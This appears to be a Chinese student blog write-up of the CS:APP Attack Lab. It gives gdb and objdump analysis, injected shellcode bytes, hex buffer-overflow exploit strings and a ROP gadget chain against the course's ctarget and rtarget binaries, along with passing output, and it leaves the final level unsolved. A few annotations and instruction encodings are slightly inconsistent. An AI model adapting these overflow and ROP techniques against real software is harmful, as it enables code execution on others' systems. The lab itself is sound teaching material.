CS:APP:Lab3-ATTACK
0. 環境要求
關於環境已經在lab1裡配置過了。lab1的連線如下
實驗的下載地址如下
說明文件如下 http://csapp.cs.cmu.edu/3e/attacklab.pdf
這是實驗的分數和一些簡介下面就開始我們的實驗吧
1. Part I: Code Injection Attacks
1.1 Level 1
對於第一個我們不需要注入新的程式碼。只需要重定向我們的程式就可
1 void test()
2 {
3 int val;
4 val = getbuf();
5 printf("No exploit. Getbuf returned 0x%x\n", val);
6 }
這是初試的test
程式我們執行程式之後。輸入字串就會執行printf
這裡注意我們執行要./ctarget -q
因為我們沒有辦法連線到cmu的遠端判定程式。下面是我們亂輸的測試
[root@cadc591c8a87 attack]# ./ctarget -q
Cookie: 0x59b997fa
Type string:baba
No exploit. Getbuf returned 0x1
而本實驗的要求是要我們改變上面的行為。當我們輸入完字串之後執行下面的touch1
而不是上面的printf
1 void touch1()
2 {
3 vlevel = 1; /* Part of validation protocol */
4 printf("Touch1!: You called touch1()\n");
5 validate(1);
6 exit(0);
7 }
本題就是利用一個基本的緩衝區溢位把getbuf
的返回地址設定成touch1
的地址。cmu
的官網給了我們一些小建議
- 利用
objdump -d ./ctarget>>ctarget.s
得到彙編程式碼 - 思路是將
touch1
的開始地址,放在某個位置,以實現當ret
指令被getbuf
執行後會將控制權轉移給touch1
- 一定要注意位元組序
- 你可以使用
gdb
設定斷點來進行除錯。並且gcc
會影響棧幀中buf
存放的位置。需要注意
這裡再附上gdb
的常用操作命令
1.分析test
彙編程式碼
0000000000401968 <test>:
401968: 48 83 ec 08 sub $0x8,%rsp
40196c: b8 00 00 00 00 mov $0x0,%eax
401971: e8 32 fe ff ff callq 4017a8 <getbuf>
401976: 89 c2 mov %eax,%edx
401978: be 88 31 40 00 mov $0x403188,%esi
40197d: bf 01 00 00 00 mov $0x1,%edi
401982: b8 00 00 00 00 mov $0x0,%eax
401987: e8 64 f4 ff ff callq 400df0 <__printf_chk@plt>
40198c: 48 83 c4 08 add $0x8,%rsp
401990: c3 retq
這裡首先分配棧幀然後呼叫getbuf
隨後把返回值賦給了edx
ox403188
賦給esi
可以相當這個應該是printf
的字元check
一下
(gdb) p (char*)0x403188
$1 = 0x403188 "No exploit. Getbuf returned 0x%x\n"
發現果然是這樣。
2. 分析一下getbuf
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
可以發現getbuf
分配了大小為40位元組的緩衝區然後把呼叫gets
把讀入的字串放到緩衝區中。
可以發現我們只要把getbuf的返回地址設定成touch1的地址=0x4017c0
就可。這裡getbuf的緩衝區為40位元組。我們可以前40個位元組亂輸。只需要後面的值為4017c0
即可。我們構造一個txt檔案用來輸入touch1.txt
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00
這裡注意一下次序。我們把這個輸入之後getbuf
的緩衝區會變成下圖這樣
來試試我們的這個輸入吧./hex2raw < touch1.txt | ./ctarget -q
[root@cadc591c8a87 attack]# ./hex2raw < touch1.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:1:00 66 11 22 66 66 66 66 66 66 66 66 22 66 33 66 33 66 66 66 00 66 11 66 44 22 11 22 66 66 66 33 66 66 55 66 66 66 66 66 C0 17 40 00 00 00 00 00 00 00
[root@cadc591c8a87 attack]#
1.2 Level2
phase2
需要我們注入一小段程式碼。來完成字串漏洞攻擊
touch2
的程式碼如下
void touch2(unsigned val)
{
vlevel = 2; /* Part of validation protocol */
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
本題的任務就是要我們在getbuf
之後直接ret
到touch2裡面而不是繼續執行test
大概任務和第一個一樣。只不過方法不太一樣。cmu
的官方文件又給了我們一些建議
touch2
的引數val
是利用rdi
暫存器進行傳遞的- 你要利用某種方式讓
getbuf
的返回地址為touch2
的地址 - 你的注入程式碼的傳入引數應該等於
cookie
的值。 - 不要在注入程式碼內呼叫
ret
或者call
- 請參見附錄B中有關如何使用工具生成位元組級表示形式的指令序列的討論。
附錄B就在說明文件的最下方。在附上一個說明文件的地址
1.分析touch2
這裡getbuf
分配的棧幀和上面的一樣。就不在畫出了(主要是畫的太醜了)
00000000004017ec <touch2>:
4017ec: 48 83 ec 08 sub $0x8,%rsp
4017f0: 89 fa mov %edi,%edx
4017f2: c7 05 e0 2c 20 00 02 movl $0x2,0x202ce0(%rip) # 6044dc <vlevel>
4017f9: 00 00 00
4017fc: 3b 3d e2 2c 20 00 cmp 0x202ce2(%rip),%edi # 6044e4 <cookie>
401802: 75 20 jne 401824 <touch2+0x38>
401804: be e8 30 40 00 mov $0x4030e8,%esi
401809: bf 01 00 00 00 mov $0x1,%edi
40180e: b8 00 00 00 00 mov $0x0,%eax
401813: e8 d8 f5 ff ff callq 400df0 <__printf_chk@plt>
401818: bf 02 00 00 00 mov $0x2,%edi
40181d: e8 6b 04 00 00 callq 401c8d <validate>
401822: eb 1e jmp 401842 <touch2+0x56>
401824: be 10 31 40 00 mov $0x403110,%esi
401829: bf 01 00 00 00 mov $0x1,%edi
40182e: b8 00 00 00 00 mov $0x0,%eax
401833: e8 b8 f5 ff ff callq 400df0 <__printf_chk@plt>
401838: bf 02 00 00 00 mov $0x2,%edi
40183d: e8 0d 05 00 00 callq 401d4f <fail>
401842: bf 00 00 00 00 mov $0x0,%edi
401847: e8 f4 f5 ff ff callq 400e40 <exit@plt>
其實touch2的邏輯非常簡單。就是比較我們傳入的引數val
是否等於cookie
的值。如果等於就可以通過。所以本題的關鍵就是在改變返回地址前也設定rdi
暫存器的值。因此我們可以很容易的想到我們要插入的彙編程式碼是什麼
movq $0x59b997fa, %rdi
pushq 0x4017ec
ret
再利用下面的操作檢視他的位元組序表示
gcc -c l2.s
objdump -d l2.o
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: ff 34 25 ec 17 40 00 pushq 0x4017ec
e: c3 retq
下面的問題就變成了我們如何執行這段程式碼。聯想第一個題我們應該利用緩衝區溢位的方法。
我們繼續看一下getbuf
的彙編程式碼
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90 nop
這裡把%rsp
賦給了rdi
然後呼叫了gets
我們需要check一下rsp
在這裡打一個端點
(gdb) b *0x4017ac
Breakpoint 1 at 0x4017ac: file buf.c, line 14.
(gdb) r -q
Starting program: /csapp/attack/ctarget -q
warning: Error disabling address space randomization: Operation not permitted
Missing separate debuginfos, use: yum debuginfo-install glibc-2.28-127.el8.x86_64
Cookie: 0x59b997fa
(gdb) info r rsp
rsp 0x5561dc78 0x5561dc78
我們發現rsp
的地址為0x5561dc78
是不是有點想法可以開始寫了。
我們可以讓執行完getbuf
之後回到rsp
的這裡。然後把我們要執行的三行彙編程式碼執行。就可以成功執行touch2
了。這樣我們的輸入流就如下圖。
48 c7 c7 fa 97 b9 59 68 <-讀入我們要執行的彙編語句
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 <-返回地址為rsp
來試試能不能通過。發現可以正常通過
[root@cadc591c8a87 attack]# ./hex2raw < touch2.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00
下面畫一個我們這樣的輸入之後的棧幀幫助大家理解
這裡轉ASCLL太難了就不轉了
getbuf的返回地址 | 00 00 00 00 55 61 dc 78 |
---|---|
rsp+20 | 00 00 00 00 00 00 00 00 |
rsp+18 | 00 00 00 00 00 00 00 00 |
rsp+10 | 00 00 00 00 00 00 00 00 |
rsp+8 | 00 00 00 c3 00 40 17 ec |
rsp | 68 59 b9 97 fa c7 c7 48 |
這裡rsp的地址就為0x5561dc78
所以我們返回地址是會返回到rsp
這裡然後執行我們的三條彙編程式碼
movq $0x59b997fa, %rdi
pushq 0x4017ec
ret
1.3 Level3
level3也是要進行程式碼注入。但是這裡要注入一個string。
hexmatch
和touch3
的程式碼如下。程式碼分析直接寫到註釋裡面了
/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
char cbuf[110];
/* Make position of check string unpredictable */
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val); //s=val=cookie
return strncmp(sval, s, 9) == 0; //比較cookie和第二個引數的前9位是否相同
// cookie只有8位元組。這裡為9的原因是我們要比較最後一個是否為'\0'
}
void touch3(char *sval)
{
vlevel = 3; /* Part of validation protocol */
if (hexmatch(cookie, sval)) { //相同則成功
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
任務: 你的任務getbuf
之後執行touch3
而不是繼續執行test。你必須要傳遞cookie
字串作為引數
一些小建議
- 你需要在利用緩衝區溢位的字串中包含
cookie
的字串表示形式。該字串應該有8個十六進位制陣列成。注意沒有前導0x - 注意在c語言中的字串表示會在末尾處加一個
\0
- 您注入的程式碼應將暫存器%rdi設定為此字串的地址
- 呼叫函式hexmatch和strncmp時,它們會將資料壓入堆疊,從而覆蓋存放
getbuf
使用的緩衝區的記憶體部分。 因此,您需要注意在哪裡放置您的Cookie
字串
1.簡單分析touch3
00000000004018fa <touch3>:
4018fa: 53 push %rbx
4018fb: 48 89 fb mov %rdi,%rbx
4018fe: c7 05 d4 2b 20 00 03 movl $0x3,0x202bd4(%rip) # 6044dc <vlevel>
401905: 00 00 00
401908: 48 89 fe mov %rdi,%rsi
40190b: 8b 3d d3 2b 20 00 mov 0x202bd3(%rip),%edi # 6044e4 <cookie>
401911: e8 36 ff ff ff callq 40184c <hexmatch>
401916: 85 c0 test %eax,%eax
邏輯非常簡單首先把rdi
的值傳遞給rsi
然後把cookie
的值傳遞給rdi
呼叫hexmatch函式。這裡rsi
的值應該就是我們的字串陣列的起始地址。
這裡我們注意hexmatch
函式裡也開闢了棧幀。並且還有隨機棧偏移動。可以說字串s
的地址我們是沒法估計 的。並且提示中告訴了我們hexmatch
和strncmp
函式可能會覆蓋我們getbuf
的緩衝區。所以我們的注入程式碼要放在一個安全的位置。我們可以把它放到text
的棧幀中。我們在getbuf
分配棧幀之前打一個斷點。
b *0x4017a8
(gdb) b *0x4017a8
Breakpoint 1 at 0x4017a8: file buf.c, line 12.
(gdb) r -q
Starting program: /csapp/attack/ctarget -q
warning: Error disabling address space randomization: Operation not permitted
Missing separate debuginfos, use: yum debuginfo-install glibc-2.28-127.el8.x86_64
Cookie: 0x59b997fa
Breakpoint 1, getbuf () at buf.c:12
12 buf.c: No such file or directory.
(gdb) info r rsp
rsp 0x5561dca0 0x5561dca0
可以發現我們text
的rsp
地址現在為0x5561dca0
可以發現這裡面儲存了本來getbuf
的返回地址也就下一條指令
(gdb) x 0x5561dca0
0x5561dca0: 0x00401976
//正常的getbuf會返回到如下
0x401976: 89 c2 mov %eax,%edx
這裡分析一下getbuf剛分配完之後的棧幀。這裡需要停下來整理一下
0x5561dca8 | |
---|---|
0x5561dca0 getbuf的返回地址(text的棧幀) | 00 00 00 00 00 40 19 76 |
rsp+20(getbuf的棧幀) | 00 00 00 00 00 00 00 00 |
rsp+18(getbuf的棧幀) | 00 00 00 00 00 00 00 00 |
rsp+10(getbuf的棧幀) | 00 00 00 00 00 00 00 00 |
rsp+8(getbuf的棧幀) | 00 00 00 00 00 00 00 00 |
rsp(getbuf的棧幀) | 00 00 00 00 00 00 00 00 |
由於我們在呼叫touch3
的時候只需要傳遞給他一個字串陣列的起始地址這裡我們可以利用緩衝區溢位把cookie
的字串輸入到0x5561dca8
然後在利用緩衝區溢位把getbuf
的返回地址設定成rsp
的地址。利用level2
的技巧執行我們的彙編指令。
movq $0x5561dca8 %rdi
pushq 0x4018fa
retq
看一下這段彙編程式碼的位元組表示
[root@cadc591c8a87 attack]# gcc -c l3.s
l3.s: Assembler messages:
l3.s: Warning: end of file not at end of a line; newline inserted
[root@cadc591c8a87 attack]# objdump -d l3.o
l3.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi
7: 68 fa 18 40 00 pushq 0x4018fa
e: c3 retq
好現在開始構造我們的輸入。這裡先看一下cookie
的ascll
表示35 39 62 39 39 37 66 61
好了下面開始我們的輸入構造
48 c7 c7 a8 dc 61 55 68 <-讀入我們要執行的彙編語句
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61 <-返回地址為rsp
來試試能不能通過。發現可以正常通過
[root@cadc591c8a87 attack]# ./hex2raw < touch3.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61
下面還是通過一個棧幀來分析一下發生了什麼。
0x5561dca8 (儲存了字串陣列) | 61 66 37 39 39 62 39 35 |
---|---|
0x5561dca0 getbuf的返回地址(text的棧幀) | 00 00 00 00 55 61 dc 78 |
rsp+20(getbuf的棧幀) | 00 00 00 00 00 00 00 00 |
rsp+18(getbuf的棧幀) | 00 00 00 00 00 00 00 00 |
rsp+10(getbuf的棧幀) | 00 00 00 00 00 00 00 00 |
rsp+8(getbuf的棧幀) | 00 00 00 c3 00 40 18 fa |
rsp(getbuf的棧幀) | 68 55 61 dc a8 c7 c7 48 |
2. Part II: Return-Oriented Programming
介紹
關於第二部分有一大段介紹。在上面點實驗說明文件裡就有。這裡對它簡單解釋一下
對程式RTARGET進行程式碼注入攻擊比對CTARGET進行難度要大得多,因為它使用兩種技術來阻止此類攻擊:
- 隨機棧偏移。這讓我們很難找到程式的地址
- 標記為不可執行區域。這使得我們的攻擊程式碼無法被執行。
具體解釋可以看下面的截圖(截圖來自於hit的csapp第三章ppt
在這樣的限制下,我們不能使用程式碼注入的方式來進行攻擊了,Write up中介紹了ROP這種方式,大致的思想就是我們把棧中放上很多地址,而每次ret都會到一個Gadget(小的程式碼片段,並且會ret),這樣就可以形成一個程式鏈。通過將程式自身(./rtarget
)的指令來完成我們的目的。
2.1 level2
對於第4階段,您將重複第2階段的攻擊,但使用來自您的小工具的程式RTARGET進行此攻擊。 您可以使用由以下指令型別組成的小工具(gadgets)來構造解決方案,並且僅使用前八個x86-64暫存器(%rax–%rdi)。
movq : The codes for these are shown in Figure 3A.
popq : The codes for these are shown in Figure 3B.
ret : This instruction is encoded by the single byte 0xc3.
nop : This instruction (pronounced “no op,” which is short for “no operation”) is encoded by the single
byte 0x90. Its only effect is to cause the program counter to be incremented by 1.
一些建議
-
所有你需要的
gadgets
你都可以 found in the region of the code for rtarget demarcated by the functions start_farm and mid_farm.所以這裡我們把
rtaget
反彙編objdump -d rtarget >r.txt
-
你只可以用兩個
gadgets
-
當一個小
gadgets
使用pop
指令。你的exploit string
中必須含有一個地址和data
同時本題給了一些對於彙編程式碼的encoding
例子
這裡在放一下任務2的程式碼。我們只需要讓傳入的第一個引數R[%rdi]=cookie
就ok了
void touch2(unsigned val)
{
vlevel = 2; /* Part of validation protocol */
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
通過上面的圖我們可以知道
popq 5f //就是可以popq rdi
在rtarget
裡面我們發現這樣的程式碼果然出現了
402b18: 41 5f pop %r15
402b1a: c3 retq
所以我們就可以構建我們的答案了。只要讓pop
的值等於cookie
的值。然後在ret
之前把地址改成touch2
的地址。
@le2.txt
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
19 2b 40 00 00 00 00 00 #pop %rdi
fa 97 b9 59 00 00 00 00 #cookie
ec 17 40 00 00 00 00 00 #touch2
我們測試一下我們的結果./hex2raw < le2.txt | ./rtarget -q
[root@cadc591c8a87 attack]# ./hex2raw < le2.txt | ./rtarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19 2B 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 EC 17 40 00 00 00 00 00
2.2 Level3
這個是整個實驗的第五關。官網上說你到這裡已經獲得了95分了。如果你不想繼續的話就可以停止了。咳咳咳本著求知的目的我們還是把這個實驗完成吧。看起來第五關難度應該很大
階段5要求您對RTARGET
進行ROP
攻擊,以使用指向cookie
字串的指標來呼叫函式touch3
touch3
的程式碼如下
/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
char cbuf[110];
/* Make position of check string unpredictable */
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val); //s=val=cookie
return strncmp(sval, s, 9) == 0; //比較cookie和第二個引數的前9位是否相同
// cookie只有8位元組。這裡為9的原因是我們要比較最後一個是否為'\0'
}
void touch3(char *sval)
{
vlevel = 3; /* Part of validation protocol */
if (hexmatch(cookie, sval)) { //相同則成功
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
行了最後一點我做不出來了。網上有非常多的參考。這裡就不寫了。。。(真菜啊我)
Summary
除了最後一個實驗。其他的只要好好讀書,認真理解應該都能夠做出來的。最後一個主要是中間隔了太久了。沒有想做的慾望了。直接去網上查了別人的這裡就不做複製工作了。第四個實驗一定會認真做的